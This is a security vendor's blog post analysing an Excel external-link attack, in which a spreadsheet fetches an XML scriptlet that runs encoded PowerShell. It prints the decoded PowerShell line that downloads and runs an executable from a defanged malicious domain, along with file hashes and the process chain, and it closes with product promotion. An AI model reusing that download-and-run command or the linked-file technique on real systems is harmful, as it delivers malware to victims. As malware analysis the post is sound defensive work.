<img height="1" width="1" alt="" style="display:none" src="https://www.facebook.com/tr?id=619966238105738&amp;ev=PixelInitialized">

Excel ScriptLet Attack Blocked By enSilo

On December 8, 2017, enSilo, a unified endpoint security platform that provides both pre- and post-infection protection in real-time, blocked a new attack technique used to exploit the linked file mechanism in Microsoft Excel. During the time of detection, a spreadsheet file PAYMENT DETAILS.xlsx was used to run the malicious code on the affected system. During the time of the detection, this threat had very low detection rate in VirusTotal as shown in Figure 1:


Figure 1: VT Detection Rate

This blog post is intended to present the new technique for exploiting Microsoft Office applications such as Microsoft Excel using external links. In addition, it will show how enSilo post-infection protection platform successfully blocked it.

Technical Analysis

The new technique attempts to exploit a feature used in Microsoft Office products called external links. In a nutshell, external links are used to share references and information between Microsoft Office products and external resources. This feature is used to update information automatically and also adds an advantage by allowing the file size to be small. In this example, the threat is an Excel spreadsheet file. The following is the static characteristics of this file:


Filename:  PAYMENT DETAILS.xlsx
File Hash:dcd41be6e979b8ea95204ab4f9892e96a28db38378a41088b824967db8754662
File Size: 7608 bytes

When the victim launches this Excel spreadsheet (assuming the automatic update of external links is enabled), the victim is then presented with a window requesting an update. Figure 2 below shows this example:


Figure 2: Update window

Once the victim pressed on the update button, then Excel evaluates a link that appears to look like a formula, as shown in the following figure:


Figure 3: Script line

The =package string represents a file that was linked to the spreadsheet and its content. Excel calls the MkParseDisplayName API function (this function simply converts a string into a moniker that identifies the object named by the string) to parse that formula and the OleCreateLink API function (creates an OLE compound-document linked object) for executing that scriptlet. In this particular example, the file squery.xml is downloaded from the domain magchris[.]ga and then executes on the affected system. While writing of this post, this domain is offline and is also blacklisted by multiple security vendors.

The squery.xml file in our case is an XML scriptlet file. In a nutshell, scriptlet allows developers to create and register COM objects and execute them on the system. These scriptlet are using almost any scripting language. In this particular example, the scriptlet was written in VBScript language.

Analysis of Squery.xml

As mentioned, the squery.xml file is downloaded to the affected system after launching the Excel spreadsheet. The following is the static characteristics of this file:

File Characteristics

Filename:  squery.xml
File Hash:1c3f65fbca6460262f499f0540910d060d1e427fcd1b231e4c16813f3475012e
File size: 1894 bytes

Figure 4 shows VBScript code portion inside this file:


Figure 4: Squery.xml code

This scriptlet XML file simply executes the following PowerShell script:


Essentially it attempts to execute a base64 decoded string which decodes to the following string:

(NEw-OBJECT sYsTEM.neT.wEBcliENt).DoWNlOadfILe(http://magchris[.]ga/images/broch.exe,$eNV:AppDATa\winasm); StARt $Env:APPDAta\winasm

This PowerShell script attempts to download the binary file broch.exe from the domain magchris[.]ga and then save it on the affected system at the path $env:Appdata\winasm. Then it attempts to also execute that winasm binary file on the system. The file winasm is associated with malicious activity. The file wasn’t executed in this case because it is missing the exe extension which signals it as an executable file.   

Although the final payload wasn’t executed, this case is worth mentioning because it presents a new technique to exploit Microsoft office applications that will probably be used in the future.

enSilo Pre- and Post-Infection Platform in Action

The PAYMENT DETAILS.xlsx Excel spreadsheet was launched in a controlled environment protected by enSilo platform. Ensilo detected and blocked the excel file activity and stopped the malicious file execution as shown in figure 5:


Figure 5: enSilo in Action

As you can see in the process chain, Microsoft Excel was launched as a process and then it spawned Windows cmd.exe. The cmd.exe process then spawned the PowerShell.exe. The PowerShell.exe process then attempted to spawn Windows shell32.exe and run the following command:

C:\Windows\system32\shell32.dll, OpenAs_RunDLL C:\Users\Win7X64SP1\AppData\Roaming\winasm

However, enSilo intercepted and blocked the next phase in this process execution chain as a result of detecting a suspicious script running with the Powershell.exe process. Since this event was blocked by enSilo, there was no need to analyze winasm functionally in the attack chain.

Note: These types of attacks can get blocked by enSilo platform on multiple stages from an initial execution, download of a payload and a payload execution. However, if we allow execution to occur, we can see that the last stage of execution is blocked.

Final Note

We hope this post demystified how threats can leverage external Links in Microsoft Office products (such a Microsoft Excel) to download and execute a malicious scriplet to a system. The most message is that enSilo post-infection endpoint protection is capable of detecting and preventing attacks like this. Finally, Lastline should receive a big credit for first discovering and writing about this threat.

Learn more about enSilo by scheduling a demo.

Sign Up for a Demo Today

Sign-Up for a Demo Today



tag cloud